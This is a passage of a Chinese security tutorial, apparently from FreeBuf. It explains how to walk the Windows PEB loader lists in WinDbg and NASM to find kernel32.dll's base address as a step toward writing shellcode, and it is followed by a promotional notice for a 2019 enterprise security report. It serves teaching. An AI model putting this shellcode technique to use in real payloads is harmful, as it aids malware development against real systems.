在这里,我们可以看到InLoadOrderModuleList位于偏移量0x00c处,InMemoryOrderModuleList位于偏移量0x014处,InInitializationOrderModuleList位于偏移量0x01c处。此外,如果要查看每个列表所在的地址,可以使用我们此前找到的地址779E0C40(LDR的地址)以及命令dt nt!_PEB_LDR_DATA 779E0C40。这将向我们显示链接列表的相应起始地址和结束地址,如下所示:

11.png

有一个地方,可能会被一些人误解,就是上图中展示出InMemoryOrderModuleList的类型为_LIST_ENTRY,但在MSDN上已经另有说明:

12.png

因此,MSDN声明它是LDR_DATA_TABLE_ENTRY类型而不是_LIST_ENTRY类型。我们尝试查看结构中加载的模块,并指定该结构的起始地址为0x7041e8,以便可以看到加载的模块的基址。需要注意的是,0x7041e8是此结构的地址,因此第一个条目将比此地址少8个字节。因此,我们的命令是:

dt nt!_LDR_DATA_TABLE_ENTRY 0x7041e8-8

13.png

第一个出现的BaseDllName是gethost.exe。这就是我之前执行的exe文件。此外,我们可以看到现在InMemoryOrderLinks的地址是0x7040e0。偏移量0x018处的DllBase中包含BaseDllName的基址。现在,我们下一个加载的模块必须距离0x7040e0有8个字节,也就是0x7040e0-8。

dt nt!_LDR_DATA_TABLE_ENTRY 0x7040e0-8

14.png

所以,我们的第二个模块是ntdll.dll,它的地址是0x778c000,下一个模块位于0x704690之后的8个字节。所以,我们的下一个命令是:

dt nt!_LDR_DATA_TABLE_ENTRY 0x704690-8

15.png

由此,就得到了第三个模块Kernel32.dll,其地址是0x74f50000,其偏移量时0x018。模块加载的顺序总是固定的,至少这适用于Windows 10、Windows 7、Windows 8(包括8.1)。因此,当我们编写ASM时,我们可以遍历整个PEB LDR结构体,并找到Kernel32.dll的地址,并将其加载到我们的Shellcode中。以类似的方式,我们还可以找到Kernelbase.dll的地址,这是第四个模块。

16.png

现在,我们总结一下需要进行的工作:

1. PEB位于距离文件段寄存器偏移量为0x030的位置;

2. LDR位于偏移量为PEB + 0x00C的位置;

3. InMemoryOrderModuleList位于偏移量LDR + 0x014的位置;

4. 第一个模块入口是exe本身;

5. 第二个模块入口是ntdll.dll;

6. 第三个模块入口是kernel32.dll;

7. 第四个模块入口是Kernelbase.dll。

我们现在最感兴趣的,就是Kernel32.dll。每次加载DLL时,地址都将存储在DllBase的偏移量0x018的位置。我们链接列表的起始地址将存储在InMemoryOrderLinks的偏移量中,即0x008。因此,偏移量之间的关系将是 DllBase – InMemoryOrderLinks = 0x018 – 0x008 = 0x10。因此,Kernel32.dll的偏移量将是LDR + 0x10。更详细的理解,可以在下图中看到,这张图是我从这里偷过来的。

17.png

现在,如果我们在ASM中做同样的工作,将会是如下所示:

18.png

我们使用NASM来编译,并在x32dbg中加载它。大家可以从这里下载NASM。

19.png

实际上,一旦我们的最后一条指令被运行,就应该在EAX寄存器中加载Kernel32.dll的地址。我们来看看它在x32dbg中看起来是否相同。

20.png

如我们所见,在最后一条指令之后,加载到EAX中的地址与我们在下面使用lm命令在WinDBG中看到的地址相同,都是74F50000,这是Kernel32.dll的地址。

现在,我们已经有了Kernel32.dll的地址,下一步就是使用LoadLibraryA找到GetComputerNameA的地址,并调用该函数。我们将在下一篇文章中重点讨论这一问题,完善ASM代码,实现获取计算机名称并将其打印在屏幕上,然后打印到Shellcode部分。

把握行业动态,展望行业发展,了解企业安全体系架构与威胁应对流程,是企业保障业务安全、应对威胁、确保稳定发展的关键。

近一年,网络安全相关的政策法律陆续出台落实、技术投入应用、网络安全事件频发,带动网络安全行业进一步发展变化。传统威胁依旧存在,新的威胁与风险层出不穷,给企业安全带来更多挑战。面对2019年愈发严峻的安全形势,企业不仅要严防精心策划的外部攻击,也不能排除来自内部的安全隐患。

企业安全的根本目的,是保障企业的业务连续性,保证企业利益相关者生命、财产安全的延续。与单纯的渗透测试、攻防对抗相比,企业安全往往要兼顾更多环节,更需要有大局观。在实践中,越来越多的企业意识到,企业安全不仅关乎技术,更关乎体系化的安全架构与设计。此前的报告也显示,我国安全行业中整体安全建设的战略规划类安全人才和机构设计类安全人才最为短缺。在企业安全建设中,需要注意以下根本问题:

1、信息安全应建立在信息系统整个生命周期中所关联的人、事、物的基础上,综合考虑人、技术、管理和过程控制,不是局部问题而是整体问题;

2、安全需要考虑成本因素,保护的成本必须和保护的资产价值形成有效的比率;

3、随着整个社会对信息化的依赖,信息安全所维系的不仅仅是对组织的支持和辅助,已成为企业的命脉及核心竞争力。

总体来说,企业安全需要基于信息安全大环境,结合企业所处行业、IT投入、业务需求等实际情况,参考可靠的安全架构体系,自上而下地建立能在企业内部落地的安全策略与安全流程,并在流程中应用合适的技术与产品。同时,还要在实践中不断改进,以便获得最大程度的保障。

因此,了解并熟悉企业安全威胁应对流程并根据需要选择合适的安全产品,有助于企业做好安全建设,防范风险。FreeBuf 针对近一年企业安全现状和安全产品情况进行了深入调查,并在安全专家和顾问的指导下,构建企业威胁应对流程模型,结合理论和应用进行分析,形成了《2019企业安全威胁统一应对指南》。

封面.png

本报告主要采用资料搜集、走访企业客户以及专家访谈的形式进行调研。报告中的威胁应对模型参考国际认可的网络安全模型,并结合企业网络安全现状和实际需求进行优化。另外,FreeBuf 共计调研数百家厂商,经过统计后得出安全产品候选列表。这些产品与威胁应对模型每个流程一一对应,给予企业从理论到实践的参考。

近一年,网络安全行业及企业安全概况如何?

未来一段时间,企业安全将面临哪些威胁?

企业安全架构中应当注意哪些问题?

企业威胁应流程是怎样的?

2019年的企业安全热词有哪些?

在应对流程的每个环节,有哪些合适的产品可以选择?

完整版报告与产品推荐名录将在五一假期后发布,敬请关注。

预告长图-0423.png

关于FreeBuf研究院

FreeBuf.COM是斗象科技旗下、国内领先的互联网安全新媒体,每日发布专业的安全资讯、技术剖析,分享国内外安全资源与行业洞见,是深受安全从业者与爱好者关注的网络安全网站与社区。

FreeBuf研究院则集结了行业内经验丰富的安全专家和分析师,常年对信息安全技术、行业动态保持追踪,呈现有深度的安全行业现状和趋势分析。

*FreeBuf研究院荣誉出品,未经许可禁止转载。